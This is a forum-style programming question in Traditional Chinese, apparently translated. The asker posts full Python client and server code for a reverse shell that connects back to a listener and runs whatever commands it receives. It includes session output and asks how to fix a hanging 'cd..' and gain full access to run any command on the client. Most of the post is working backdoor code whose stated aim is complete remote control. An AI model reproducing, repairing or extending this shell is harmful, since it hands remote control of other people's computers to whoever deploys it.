我正在嘗試使用 python 的反向 shell 獲得具有完全權限的完全訪問權限。連接建立后，我可以執行“ipconfig”或“dir”等命令（盡管有時我需要詢問兩次才能獲得“dir”命令的結果。但是，當我嘗試使用“cd..”命令更改目錄時，它被卡住并且不返回任何內容。這是我的客戶文件：import socketimport subprocessSERVER_HOST = "192.168.1.81"SERVER_PORT = 5003s = socket.socket()s.connect((SERVER_HOST, SERVER_PORT))while True:    command = s.recv(1024).decode()     if command.lower() == "exit":        break    else:        output = subprocess.getoutput(command)        s.send(output.encode())s.close()這是我的服務器文件：import socketSERVER_HOST = "192.168.1.81"SERVER_PORT = 5003s = socket.socket()s.bind((SERVER_HOST, SERVER_PORT))s.listen(5)print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")client_socket, client_address = s.accept()print(f"{client_address[0]}:{client_address[1]} Connected!")while True:    command = input("Enter the command you wanna execute:")    client_socket.send(command.encode())    if command.lower() == "exit":        break    else:        results = client_socket.recv(1024).decode()        print(results)client_socket.close()s.close()這是我得到的以及卡住的地方：Listening as 192.168.1.81:5003 ...192.168.1.81:52553 Connected! Enter the command you wanna execute:dir Volume in drive C is Windows Volume Serial Number is 7E4C-AD89 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke10/11/2020  08:45 AM    <DIR>          .10/11/2020  08:45 AM    <DIR>          ..10/11/2020  08:44 AM    <DIR>          .idea10/11/2020  12:40 AM                 0 Client.py10/11/2020  08:45 AM               569 my_client.py10/11/2020  12:40 AM               885 my_server.py               3 File(s)          1,454 bytes               3 Dir(s)  46,585,339,904 bytes freeEnter the command you wanna execute:cd..# It gets stuck here, it does not return anything.如何獲得對客戶端的完全訪問權限并執行任何可能的命令？